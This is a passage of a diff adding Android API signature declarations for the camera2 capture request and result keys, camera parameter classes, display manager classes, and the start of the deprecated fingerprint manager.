+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> SCALER_ROTATE_AND_CROP;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Long> SENSOR_EXPOSURE_TIME;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Long> SENSOR_FRAME_DURATION;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> SENSOR_PIXEL_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> SENSOR_SENSITIVITY;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<int[]> SENSOR_TEST_PATTERN_DATA;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> SENSOR_TEST_PATTERN_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> SHADING_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> STATISTICS_FACE_DETECT_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Boolean> STATISTICS_HOT_PIXEL_MAP_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> STATISTICS_LENS_SHADING_MAP_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> STATISTICS_OIS_DATA_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<android.hardware.camera2.params.TonemapCurve> TONEMAP_CURVE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Float> TONEMAP_GAMMA;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> TONEMAP_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> TONEMAP_PRESET_CURVE;
+  }
+
+  public static final class CaptureRequest.Builder {
+    method public void addTarget(@NonNull android.view.Surface);
+    method @NonNull public android.hardware.camera2.CaptureRequest build();
+    method @Nullable public <T> T get(android.hardware.camera2.CaptureRequest.Key<T>);
+    method @Nullable public <T> T getPhysicalCameraKey(android.hardware.camera2.CaptureRequest.Key<T>, @NonNull String);
+    method public void removeTarget(@NonNull android.view.Surface);
+    method public <T> void set(@NonNull android.hardware.camera2.CaptureRequest.Key<T>, T);
+    method public <T> android.hardware.camera2.CaptureRequest.Builder setPhysicalCameraKey(@NonNull android.hardware.camera2.CaptureRequest.Key<T>, T, @NonNull String);
+    method public void setTag(@Nullable Object);
+  }
+
+  public static final class CaptureRequest.Key<T> {
+    ctor public CaptureRequest.Key(@NonNull String, @NonNull Class<T>);
+    method @NonNull public String getName();
+  }
+
+  public class CaptureResult extends android.hardware.camera2.CameraMetadata<android.hardware.camera2.CaptureResult.Key<?>> {
+    method @Nullable public <T> T get(android.hardware.camera2.CaptureResult.Key<T>);
+    method @NonNull public String getCameraId();
+    method public long getFrameNumber();
+    method @NonNull public java.util.List<android.hardware.camera2.CaptureResult.Key<?>> getKeys();
+    method @NonNull public android.hardware.camera2.CaptureRequest getRequest();
+    method public int getSequenceId();
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Boolean> BLACK_LEVEL_LOCK;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> COLOR_CORRECTION_ABERRATION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.hardware.camera2.params.RggbChannelVector> COLOR_CORRECTION_GAINS;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> COLOR_CORRECTION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.hardware.camera2.params.ColorSpaceTransform> COLOR_CORRECTION_TRANSFORM;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_AE_ANTIBANDING_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_AE_EXPOSURE_COMPENSATION;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Boolean> CONTROL_AE_LOCK;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_AE_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_AE_PRECAPTURE_TRIGGER;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.hardware.camera2.params.MeteringRectangle[]> CONTROL_AE_REGIONS;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_AE_STATE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.util.Range<java.lang.Integer>> CONTROL_AE_TARGET_FPS_RANGE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_AF_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.hardware.camera2.params.MeteringRectangle[]> CONTROL_AF_REGIONS;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_AF_SCENE_CHANGE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_AF_STATE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_AF_TRIGGER;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Boolean> CONTROL_AWB_LOCK;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_AWB_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.hardware.camera2.params.MeteringRectangle[]> CONTROL_AWB_REGIONS;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_AWB_STATE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_CAPTURE_INTENT;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_EFFECT_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Boolean> CONTROL_ENABLE_ZSL;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_EXTENDED_SCENE_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_POST_RAW_SENSITIVITY_BOOST;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_SCENE_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> CONTROL_VIDEO_STABILIZATION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Float> CONTROL_ZOOM_RATIO;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> DISTORTION_CORRECTION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> EDGE_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> FLASH_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> FLASH_STATE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> HOT_PIXEL_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.location.Location> JPEG_GPS_LOCATION;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> JPEG_ORIENTATION;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Byte> JPEG_QUALITY;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Byte> JPEG_THUMBNAIL_QUALITY;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.util.Size> JPEG_THUMBNAIL_SIZE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Float> LENS_APERTURE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<float[]> LENS_DISTORTION;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Float> LENS_FILTER_DENSITY;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Float> LENS_FOCAL_LENGTH;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Float> LENS_FOCUS_DISTANCE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.util.Pair<java.lang.Float,java.lang.Float>> LENS_FOCUS_RANGE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<float[]> LENS_INTRINSIC_CALIBRATION;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> LENS_OPTICAL_STABILIZATION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<float[]> LENS_POSE_ROTATION;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<float[]> LENS_POSE_TRANSLATION;
+    field @Deprecated @NonNull public static final android.hardware.camera2.CaptureResult.Key<float[]> LENS_RADIAL_DISTORTION;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> LENS_STATE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.String> LOGICAL_MULTI_CAMERA_ACTIVE_PHYSICAL_ID;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> NOISE_REDUCTION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Float> REPROCESS_EFFECTIVE_EXPOSURE_FACTOR;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Byte> REQUEST_PIPELINE_DEPTH;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.graphics.Rect> SCALER_CROP_REGION;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> SCALER_ROTATE_AND_CROP;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<float[]> SENSOR_DYNAMIC_BLACK_LEVEL;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> SENSOR_DYNAMIC_WHITE_LEVEL;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Long> SENSOR_EXPOSURE_TIME;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Long> SENSOR_FRAME_DURATION;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Float> SENSOR_GREEN_SPLIT;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.util.Rational[]> SENSOR_NEUTRAL_COLOR_POINT;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.util.Pair<java.lang.Double,java.lang.Double>[]> SENSOR_NOISE_PROFILE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> SENSOR_PIXEL_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Boolean> SENSOR_RAW_BINNING_FACTOR_USED;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Long> SENSOR_ROLLING_SHUTTER_SKEW;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> SENSOR_SENSITIVITY;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<int[]> SENSOR_TEST_PATTERN_DATA;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> SENSOR_TEST_PATTERN_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Long> SENSOR_TIMESTAMP;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> SHADING_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.hardware.camera2.params.Face[]> STATISTICS_FACES;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> STATISTICS_FACE_DETECT_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.graphics.Point[]> STATISTICS_HOT_PIXEL_MAP;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Boolean> STATISTICS_HOT_PIXEL_MAP_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.hardware.camera2.params.LensShadingMap> STATISTICS_LENS_SHADING_CORRECTION_MAP;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> STATISTICS_LENS_SHADING_MAP_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> STATISTICS_OIS_DATA_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.hardware.camera2.params.OisSample[]> STATISTICS_OIS_SAMPLES;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> STATISTICS_SCENE_FLICKER;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<android.hardware.camera2.params.TonemapCurve> TONEMAP_CURVE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Float> TONEMAP_GAMMA;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> TONEMAP_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureResult.Key<java.lang.Integer> TONEMAP_PRESET_CURVE;
+  }
+
+  public static final class CaptureResult.Key<T> {
+    ctor public CaptureResult.Key(@NonNull String, @NonNull Class<T>);
+    method @NonNull public String getName();
+  }
+
+  public final class DngCreator implements java.lang.AutoCloseable {
+    ctor public DngCreator(@NonNull android.hardware.camera2.CameraCharacteristics, @NonNull android.hardware.camera2.CaptureResult);
+    method public void close();
+    method @NonNull public android.hardware.camera2.DngCreator setDescription(@NonNull String);
+    method @NonNull public android.hardware.camera2.DngCreator setLocation(@NonNull android.location.Location);
+    method @NonNull public android.hardware.camera2.DngCreator setOrientation(int);
+    method @NonNull public android.hardware.camera2.DngCreator setThumbnail(@NonNull android.graphics.Bitmap);
+    method @NonNull public android.hardware.camera2.DngCreator setThumbnail(@NonNull android.media.Image);
+    method public void writeByteBuffer(@NonNull java.io.OutputStream, @NonNull android.util.Size, @NonNull java.nio.ByteBuffer, @IntRange(from=0) long) throws java.io.IOException;
+    method public void writeImage(@NonNull java.io.OutputStream, @NonNull android.media.Image) throws java.io.IOException;
+    method public void writeInputStream(@NonNull java.io.OutputStream, @NonNull android.util.Size, @NonNull java.io.InputStream, @IntRange(from=0) long) throws java.io.IOException;
+    field public static final int MAX_THUMBNAIL_DIMENSION = 256; // 0x100
+  }
+
+  public class MultiResolutionImageReader implements java.lang.AutoCloseable {
+    ctor public MultiResolutionImageReader(@NonNull java.util.Collection<android.hardware.camera2.params.MultiResolutionStreamInfo>, int, @IntRange(from=1) int);
+    method public void close();
+    method protected void finalize();
+    method public void flush();
+    method @NonNull public android.hardware.camera2.params.MultiResolutionStreamInfo getStreamInfoForImageReader(@NonNull android.media.ImageReader);
+    method @NonNull public android.view.Surface getSurface();
+    method public void setOnImageAvailableListener(@Nullable android.media.ImageReader.OnImageAvailableListener, @Nullable java.util.concurrent.Executor);
+  }
+
+  public final class TotalCaptureResult extends android.hardware.camera2.CaptureResult {
+    method @NonNull public java.util.List<android.hardware.camera2.CaptureResult> getPartialResults();
+    method @Deprecated public java.util.Map<java.lang.String,android.hardware.camera2.CaptureResult> getPhysicalCameraResults();
+    method @NonNull public java.util.Map<java.lang.String,android.hardware.camera2.TotalCaptureResult> getPhysicalCameraTotalResults();
+  }
+
+}
+
+package android.hardware.camera2.params {
+
+  public final class BlackLevelPattern {
+    method public void copyTo(int[], int);
+    method public int getOffsetForIndex(int, int);
+    field public static final int COUNT = 4; // 0x4
+  }
+
+  public final class Capability {
+    method @NonNull public android.util.Size getMaxStreamingSize();
+    method public int getMode();
+    method @NonNull public android.util.Range<java.lang.Float> getZoomRatioRange();
+  }
+
+  public final class ColorSpaceTransform {
+    ctor public ColorSpaceTransform(android.util.Rational[]);
+    ctor public ColorSpaceTransform(int[]);
+    method public void copyElements(android.util.Rational[], int);
+    method public void copyElements(int[], int);
+    method public android.util.Rational getElement(int, int);
+  }
+
+  public final class ExtensionSessionConfiguration {
+    ctor public ExtensionSessionConfiguration(int, @NonNull java.util.List<android.hardware.camera2.params.OutputConfiguration>, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraExtensionSession.StateCallback);
+    method @NonNull public java.util.concurrent.Executor getExecutor();
+    method public int getExtension();
+    method @NonNull public java.util.List<android.hardware.camera2.params.OutputConfiguration> getOutputConfigurations();
+    method @NonNull public android.hardware.camera2.CameraExtensionSession.StateCallback getStateCallback();
+  }
+
+  public final class Face {
+    method public android.graphics.Rect getBounds();
+    method public int getId();
+    method public android.graphics.Point getLeftEyePosition();
+    method public android.graphics.Point getMouthPosition();
+    method public android.graphics.Point getRightEyePosition();
+    method public int getScore();
+    field public static final int ID_UNSUPPORTED = -1; // 0xffffffff
+    field public static final int SCORE_MAX = 100; // 0x64
+    field public static final int SCORE_MIN = 1; // 0x1
+  }
+
+  public final class InputConfiguration {
+    ctor public InputConfiguration(int, int, int);
+    ctor public InputConfiguration(@NonNull java.util.Collection<android.hardware.camera2.params.MultiResolutionStreamInfo>, int);
+    method public int getFormat();
+    method public int getHeight();
+    method public int getWidth();
+    method public boolean isMultiResolution();
+  }
+
+  public final class LensShadingMap {
+    method public void copyGainFactors(float[], int);
+    method public int getColumnCount();
+    method public float getGainFactor(int, int, int);
+    method public int getGainFactorCount();
+    method public android.hardware.camera2.params.RggbChannelVector getGainFactorVector(int, int);
+    method public int getRowCount();
+    field public static final float MINIMUM_GAIN_FACTOR = 1.0f;
+  }
+
+  public final class MandatoryStreamCombination {
+    method @NonNull public CharSequence getDescription();
+    method @NonNull public java.util.List<android.hardware.camera2.params.MandatoryStreamCombination.MandatoryStreamInformation> getStreamsInformation();
+    method public boolean isReprocessable();
+  }
+
+  public static final class MandatoryStreamCombination.MandatoryStreamInformation {
+    method @NonNull public java.util.List<android.util.Size> getAvailableSizes();
+    method public int getFormat();
+    method public boolean isInput();
+    method public boolean isMaximumSize();
+    method public boolean isUltraHighResolution();
+  }
+
+  public final class MeteringRectangle {
+    ctor public MeteringRectangle(int, int, int, int, int);
+    ctor public MeteringRectangle(android.graphics.Point, android.util.Size, int);
+    ctor public MeteringRectangle(android.graphics.Rect, int);
+    method public boolean equals(android.hardware.camera2.params.MeteringRectangle);
+    method public int getHeight();
+    method public int getMeteringWeight();
+    method public android.graphics.Rect getRect();
+    method public android.util.Size getSize();
+    method public android.graphics.Point getUpperLeftPoint();
+    method public int getWidth();
+    method public int getX();
+    method public int getY();
+    field public static final int METERING_WEIGHT_DONT_CARE = 0; // 0x0
+    field public static final int METERING_WEIGHT_MAX = 1000; // 0x3e8
+    field public static final int METERING_WEIGHT_MIN = 0; // 0x0
+  }
+
+  public final class MultiResolutionStreamConfigurationMap {
+    method @NonNull public int[] getInputFormats();
+    method @NonNull public java.util.Collection<android.hardware.camera2.params.MultiResolutionStreamInfo> getInputInfo(int);
+    method @NonNull public int[] getOutputFormats();
+    method @NonNull public java.util.Collection<android.hardware.camera2.params.MultiResolutionStreamInfo> getOutputInfo(int);
+  }
+
+  public class MultiResolutionStreamInfo {
+    ctor public MultiResolutionStreamInfo(@IntRange(from=1) int, @IntRange(from=1) int, @NonNull String);
+    method @IntRange(from=1) public int getHeight();
+    method @NonNull public String getPhysicalCameraId();
+    method @IntRange(from=1) public int getWidth();
+  }
+
+  public final class OisSample {
+    ctor public OisSample(long, float, float);
+    method public long getTimestamp();
+    method public float getXshift();
+    method public float getYshift();
+  }
+
+  public final class OutputConfiguration implements android.os.Parcelable {
+    ctor public OutputConfiguration(@NonNull android.view.Surface);
+    ctor public OutputConfiguration(int, @NonNull android.view.Surface);
+    ctor public OutputConfiguration(@NonNull android.util.Size, @NonNull Class<T>);
+    method public void addSensorPixelModeUsed(int);
+    method public void addSurface(@NonNull android.view.Surface);
+    method @NonNull public static java.util.Collection<android.hardware.camera2.params.OutputConfiguration> createInstancesForMultiResolutionOutput(@NonNull android.hardware.camera2.MultiResolutionImageReader);
+    method public int describeContents();
+    method public void enableSurfaceSharing();
+    method public int getMaxSharedSurfaceCount();
+    method @Nullable public android.view.Surface getSurface();
+    method public int getSurfaceGroupId();
+    method @NonNull public java.util.List<android.view.Surface> getSurfaces();
+    method public void removeSensorPixelModeUsed(int);
+    method public void removeSurface(@NonNull android.view.Surface);
+    method public void setPhysicalCameraId(@Nullable String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.camera2.params.OutputConfiguration> CREATOR;
+    field public static final int SURFACE_GROUP_ID_NONE = -1; // 0xffffffff
+  }
+
+  public final class RecommendedStreamConfigurationMap {
+    method @Nullable public java.util.Set<android.util.Size> getHighResolutionOutputSizes(int);
+    method @Nullable public java.util.Set<android.util.Range<java.lang.Integer>> getHighSpeedVideoFpsRanges();
+    method @Nullable public java.util.Set<android.util.Range<java.lang.Integer>> getHighSpeedVideoFpsRangesFor(@NonNull android.util.Size);
+    method @Nullable public java.util.Set<android.util.Size> getHighSpeedVideoSizes();
+    method @Nullable public java.util.Set<android.util.Size> getHighSpeedVideoSizesFor(@NonNull android.util.Range<java.lang.Integer>);
+    method @Nullable public java.util.Set<java.lang.Integer> getInputFormats();
+    method @Nullable public java.util.Set<android.util.Size> getInputSizes(int);
+    method @NonNull public java.util.Set<java.lang.Integer> getOutputFormats();
+    method @IntRange(from=0) public long getOutputMinFrameDuration(int, @NonNull android.util.Size);
+    method @IntRange(from=0) public <T> long getOutputMinFrameDuration(@NonNull Class<T>, @NonNull android.util.Size);
+    method @Nullable public java.util.Set<android.util.Size> getOutputSizes(int);
+    method @Nullable public <T> java.util.Set<android.util.Size> getOutputSizes(@NonNull Class<T>);
+    method @IntRange(from=0) public long getOutputStallDuration(int, @NonNull android.util.Size);
+    method @IntRange(from=0) public <T> long getOutputStallDuration(@NonNull Class<T>, @NonNull android.util.Size);
+    method public int getRecommendedUseCase();
+    method @Nullable public java.util.Set<java.lang.Integer> getValidOutputFormatsForInput(int);
+    method public boolean isOutputSupportedFor(int);
+    method public boolean isOutputSupportedFor(@NonNull android.view.Surface);
+    field public static final int USECASE_LOW_LATENCY_SNAPSHOT = 6; // 0x6
+    field public static final int USECASE_PREVIEW = 0; // 0x0
+    field public static final int USECASE_RAW = 5; // 0x5
+    field public static final int USECASE_RECORD = 1; // 0x1
+    field public static final int USECASE_SNAPSHOT = 3; // 0x3
+    field public static final int USECASE_VIDEO_SNAPSHOT = 2; // 0x2
+    field public static final int USECASE_ZSL = 4; // 0x4
+  }
+
+  public final class RggbChannelVector {
+    ctor public RggbChannelVector(float, float, float, float);
+    method public void copyTo(float[], int);
+    method public float getBlue();
+    method public float getComponent(int);
+    method public float getGreenEven();
+    method public float getGreenOdd();
+    method public float getRed();
+    field public static final int BLUE = 3; // 0x3
+    field public static final int COUNT = 4; // 0x4
+    field public static final int GREEN_EVEN = 1; // 0x1
+    field public static final int GREEN_ODD = 2; // 0x2
+    field public static final int RED = 0; // 0x0
+  }
+
+  public final class SessionConfiguration implements android.os.Parcelable {
+    ctor public SessionConfiguration(int, @NonNull java.util.List<android.hardware.camera2.params.OutputConfiguration>, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraCaptureSession.StateCallback);
+    method public int describeContents();
+    method public java.util.concurrent.Executor getExecutor();
+    method public android.hardware.camera2.params.InputConfiguration getInputConfiguration();
+    method public java.util.List<android.hardware.camera2.params.OutputConfiguration> getOutputConfigurations();
+    method public android.hardware.camera2.CaptureRequest getSessionParameters();
+    method public int getSessionType();
+    method public android.hardware.camera2.CameraCaptureSession.StateCallback getStateCallback();
+    method public void setInputConfiguration(@NonNull android.hardware.camera2.params.InputConfiguration);
+    method public void setSessionParameters(android.hardware.camera2.CaptureRequest);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.camera2.params.SessionConfiguration> CREATOR;
+    field public static final int SESSION_HIGH_SPEED = 1; // 0x1
+    field public static final int SESSION_REGULAR = 0; // 0x0
+  }
+
+  public final class StreamConfigurationMap {
+    method public android.util.Size[] getHighResolutionOutputSizes(int);
+    method public android.util.Range<java.lang.Integer>[] getHighSpeedVideoFpsRanges();
+    method public android.util.Range<java.lang.Integer>[] getHighSpeedVideoFpsRangesFor(android.util.Size);
+    method public android.util.Size[] getHighSpeedVideoSizes();
+    method public android.util.Size[] getHighSpeedVideoSizesFor(android.util.Range<java.lang.Integer>);
+    method public int[] getInputFormats();
+    method public android.util.Size[] getInputSizes(int);
+    method public int[] getOutputFormats();
+    method public long getOutputMinFrameDuration(int, android.util.Size);
+    method public <T> long getOutputMinFrameDuration(Class<T>, android.util.Size);
+    method public <T> android.util.Size[] getOutputSizes(Class<T>);
+    method public android.util.Size[] getOutputSizes(int);
+    method public long getOutputStallDuration(int, android.util.Size);
+    method public <T> long getOutputStallDuration(Class<T>, android.util.Size);
+    method public int[] getValidOutputFormatsForInput(int);
+    method public boolean isOutputSupportedFor(int);
+    method public static <T> boolean isOutputSupportedFor(Class<T>);
+    method public boolean isOutputSupportedFor(android.view.Surface);
+  }
+
+  public final class TonemapCurve {
+    ctor public TonemapCurve(float[], float[], float[]);
+    method public void copyColorCurve(int, float[], int);
+    method public android.graphics.PointF getPoint(int, int);
+    method public int getPointCount(int);
+    field public static final int CHANNEL_BLUE = 2; // 0x2
+    field public static final int CHANNEL_GREEN = 1; // 0x1
+    field public static final int CHANNEL_RED = 0; // 0x0
+    field public static final float LEVEL_BLACK = 0.0f;
+    field public static final float LEVEL_WHITE = 1.0f;
+    field public static final int POINT_SIZE = 2; // 0x2
+  }
+
+}
+
+package android.hardware.display {
+
+  public final class DeviceProductInfo implements android.os.Parcelable {
+    ctor public DeviceProductInfo(@Nullable String, @NonNull String, @NonNull String, @IntRange(from=1990) int, int);
+    method public int describeContents();
+    method public int getConnectionToSinkType();
+    method @IntRange(from=0xffffffff, to=53) public int getManufactureWeek();
+    method @IntRange(from=0xffffffff) public int getManufactureYear();
+    method @NonNull public String getManufacturerPnpId();
+    method @IntRange(from=0xffffffff) public int getModelYear();
+    method @Nullable public String getName();
+    method @NonNull public String getProductId();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int CONNECTION_TO_SINK_BUILT_IN = 1; // 0x1
+    field public static final int CONNECTION_TO_SINK_DIRECT = 2; // 0x2
+    field public static final int CONNECTION_TO_SINK_TRANSITIVE = 3; // 0x3
+    field public static final int CONNECTION_TO_SINK_UNKNOWN = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.display.DeviceProductInfo> CREATOR;
+  }
+
+  public final class DisplayManager {
+    method public android.hardware.display.VirtualDisplay createVirtualDisplay(@NonNull String, int, int, int, @Nullable android.view.Surface, int);
+    method public android.hardware.display.VirtualDisplay createVirtualDisplay(@NonNull String, int, int, int, @Nullable android.view.Surface, int, @Nullable android.hardware.display.VirtualDisplay.Callback, @Nullable android.os.Handler);
+    method public android.view.Display getDisplay(int);
+    method public android.view.Display[] getDisplays();
+    method public android.view.Display[] getDisplays(String);
+    method public int getMatchContentFrameRateUserPreference();
+    method public void registerDisplayListener(android.hardware.display.DisplayManager.DisplayListener, android.os.Handler);
+    method public void unregisterDisplayListener(android.hardware.display.DisplayManager.DisplayListener);
+    field public static final String DISPLAY_CATEGORY_PRESENTATION = "android.hardware.display.category.PRESENTATION";
+    field public static final int MATCH_CONTENT_FRAMERATE_ALWAYS = 2; // 0x2
+    field public static final int MATCH_CONTENT_FRAMERATE_NEVER = 0; // 0x0
+    field public static final int MATCH_CONTENT_FRAMERATE_SEAMLESSS_ONLY = 1; // 0x1
+    field public static final int MATCH_CONTENT_FRAMERATE_UNKNOWN = -1; // 0xffffffff
+    field public static final int VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR = 16; // 0x10
+    field public static final int VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY = 8; // 0x8
+    field public static final int VIRTUAL_DISPLAY_FLAG_PRESENTATION = 2; // 0x2
+    field public static final int VIRTUAL_DISPLAY_FLAG_PUBLIC = 1; // 0x1
+    field public static final int VIRTUAL_DISPLAY_FLAG_SECURE = 4; // 0x4
+  }
+
+  public static interface DisplayManager.DisplayListener {
+    method public void onDisplayAdded(int);
+    method public void onDisplayChanged(int);
+    method public void onDisplayRemoved(int);
+  }
+
+  public final class VirtualDisplay {
+    method public android.view.Display getDisplay();
+    method public android.view.Surface getSurface();
+    method public void release();
+    method public void resize(int, int, int);
+    method public void setSurface(android.view.Surface);
+  }
+
+  public abstract static class VirtualDisplay.Callback {
+    ctor public VirtualDisplay.Callback();
+    method public void onPaused();
+    method public void onResumed();
+    method public void onStopped();
+  }
+
+}
+
+package android.hardware.fingerprint {
+
+  @Deprecated public class FingerprintManager {
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.USE_BIOMETRIC, android.Manifest.permission.USE_FINGERPRINT}) public void authenticate(@Nullable android.hardware.fingerprint.FingerprintManager.CryptoObject, @Nullable android.os.CancellationSignal, int, @NonNull android.hardware.fingerprint.FingerprintManager.AuthenticationCallback, @Nullable android.os.Handler);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.USE_FINGERPRINT) public boolean hasEnrolledFingerprints();
+    method @Deprecated @RequiresPermission(android.Manifest.permission.USE_FINGERPRINT) public boolean isHardwareDetected();
+    field public static final int FINGERPRINT_ACQUIRED_GOOD = 0; // 0x0
